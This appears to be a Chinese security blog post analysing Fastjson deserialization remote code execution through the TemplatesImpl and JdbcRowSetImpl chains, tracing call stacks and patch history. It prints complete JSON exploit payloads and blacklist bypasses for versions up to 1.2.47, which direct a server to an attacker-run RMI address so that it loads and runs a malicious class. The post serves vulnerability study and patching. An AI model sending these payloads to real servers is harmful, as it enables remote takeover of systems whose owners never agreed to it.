Fastjson是由阿里开发的JSON库,据说是最快的JSON库
环境搭建
环境:fastjson1.2.24+tomcat8.5+jdk 1.8.0_102
war包地址:传送门
下载war包之后,首先利用tomcat部署完成解压,然后在IDEA中导入解压后的文件夹,配置外部的lib路径和Tomcat,运行即可
TemplatesImpl 链
Fastjson通过bytecodes传入base64编码的恶意类字节码,自动调用getoutputProperties(),而且会实例化传入的恶意类,调用其构造方法,达到RCE
POC
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
本地编译后得到class文件,然后利用py进行base64编码
1 | import base64 |
拿到payload之后直接post提交即可
调用栈
反序列化流程
通过调用栈来逐一分析,首先是在JSON.java
中并调用parseObject()
1 | public static <T> T parseObject(String json, Class<T> clazz, Feature... features) { |
进入该方法
使用parser.parseObject()来解析传入的数据,并进入下一处
这里调用derializer.deserialze
对传入的JSON数据进行解析
1 | if (type instanceof Class && type != Object.class && type != Serializable.class) { |
然后继续跟进,回到了parseObject()处理
在这个函数主体内,会完成对于JSON数据的解析处理。在for循环中,不断的取得JSON数据中的值,然后进入scanSymbol
处理。在scanSymbol中,首先会遍历取出两个双引号之间的数据作为key。
然后经过循环处理之后,此时typeName就是POP链的入口类TemplatesImpl
往后就进入了parseField()中
getter的自动调用
在JavaBeanInfo:build()
中,有一个fastjson的特殊处理,针对只有getter函数没有setter函数的元素,会进入以下逻辑:
1 | for (Method method : clazz.getMethods()) { // getter methods |
- 函数名称大于等于4
- 非静态函数
- 函数名称以get开始,并且第四个字符为大写字母
- 函数没有入参
- 函数的返回类型满足如下之一
- 继承自Collection
- 继承自Map
- AtomicBoolean
- AtomicInteger
- AtomicLong
我们来看getOutputProperties的声明
1 | public synchronized Properties getOutputProperties() {} |
返回类型是继承于Hashtable的Properties,巧的是Properties又是implements Map,所以可以通过判断。
在parseField()中会调用一个smartMatch(),会把传入的字段的_去空,所以得到outputProperties
,并且通过判断自动调用getOutputProperties()
Base64的自动解码
1 | if (lexer.token() == JSONToken.LITERAL_STRING) { |
传入的_bytecodes
为base64编码类型的数组时,fastjson会调用bytesValue()
1 | public byte[] bytesValue() { |
实现base64解码
POP链攻击分析
直接断点到类TemplatesImpl
的getOutputProperties()
直接就调用了newTransformer(),F7跟进看看
首先调用了getTransletInstance(),然后实例化了一个TransformerImpl对象,跟进方法
这里不能满足_name=null
,所以需要给其赋值。由于payload中并未给_class
赋值,所以满足判断语句并调用defineTransletClasses(),跟进
这里loader.defineClass()是将传入的字节码文件经过字节数组流解析生成一个类org.lain.poc.TemplatesImpl.EvilObject
,然后循环结束后回到getTransletInstance()中
1 | if (_class == null) defineTransletClasses(); |
此时调用newInstance(),实例化刚刚生成的类。所以只要恶意类继承自AbstractTranslet,就能执行构造函数,完成RCE
POP攻击链
1 | getOutputProperties() -> newTransformer() -> getTransletInstance() -> AbstractTranslet.newInstance() -> Runtime.exec() |
利用条件限制
- Fastjson版本为1.2.22~1.2.24之间
- 由于
_bytecode
没有对应的getter和setter函数,因此需要设置Feature.SupportNonPublicField
- 如果受害机器使用了JSON.parseObject(),那么第二个参数必须得和TemplatesImpl匹配的类(存在继承或者转换关系),不然就会报错而不进行反序列化操作
JdbcRowSetImpl 链
POC
在本地先起一个RMI服务端
1 | package com.yoga.fastjson; |
Exploit.java
1 | public class Exploit { |
然后编译为.class文件,然后在本目录下利用python起一个http服务。然后发送payload
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true} |
POP链攻击分析
因为传入autoCommit=true,所以反序列化时会自动调用setter方法,直接在JdbcRowSetImpl的setAutoCommit()处断点
此处conn默认为null值,所以调用connect(),跟进方法
首先会调用getDataSourceName()进行判断,所以跟进
1 | public String getDataSourceName() { |
此处直接返回传入的dataSourceName,也就是rmi地址。回到connect(),直接就调用lookup()导致jndi注入
POP利用链
1 | setAutoCommit() -> connect() -> lookup() |
流量分析
攻击过程:
- 攻击者向被攻击者发送payload
- 受害者服务器解析并反序列化payload之后,通过jndi接口连接攻击者指定的rmi服务器
- rmi服务器通过请求并返回对象
- 受害者服务器收到对象后,检查本地是否存在;发现不存在,于是向攻击者提供的远程http地址请求恶意的class文件
- 攻击者的web服务器返回class文件,受害者服务器加载进入内存,实例化的时候执行构造函数成功执行命令
利用条件限制
- Fastjson版本不超过1.2.24
- 如果受害机器使用了JSON.parseObject(),那么第二个参数必须得和JdbcRowSetImpl匹配的类(存在继承或者转换关系),不然就会报错而不进行反序列化操作
补丁及Bypass
在1.2.25版本中,添加了一个checkAutoType()
使用白名单和黑名单的方式来限制反序列化的类。
默认开启白名单,只有当白名单关闭的时候才会黑名单判断,所以以后被绕过的都是得在白名单关闭的时候
1.2.25~1.2.41
增加黑名单判断
Bypass
loadClass时会移除开头的L
和结尾的;
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}"; |
1.2.42
会先将开头的L
和结尾的;
移除再进行黑名单判断
Bypass
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}"; |
1.2.43的补丁
遇到LL开头的typeName直接抛出异常退出….
1.2.25~1.2.45 ibatis
绕过黑名单的方式
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}} |
1.2.12~1.2.47
POC
1 | { |
传入的第一个@type的类为java.lang.Class
,不在黑名单之内,所以可以通过checkAutoType()判断。之后进入derserialze()中解析数据
然后调用DefaultJSONParser:parser()
将获取的恶意类传给objVal
并且经过一系列的判断,最后当clazz为java.lang.Class
,会去调用loadClass()加载恶意类。继续跟进
进入loadClass(),首先会将传入的className开头的[、L
和结尾的;
去掉,然后进入if判断,这里的cache默认传入的为true
,所以将恶意类put进mapping中。然后再次回到checkAutoType()中
先是从mapping中取出typeName赋给clazz,此时clazz不为空,就能通过后面的if判断直接将恶意类返回,至此成功绕过了黑白名单限制。后面过程就与之前的链一致
1.2.48 补丁
将loadClass()中默认cache值改为false
Reference
https://www.freebuf.com/vuls/208339.html
https://mp.weixin.qq.com/s/0a5krhX-V_yCkz-zDN5kGg
[http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)
[http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/](http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析/)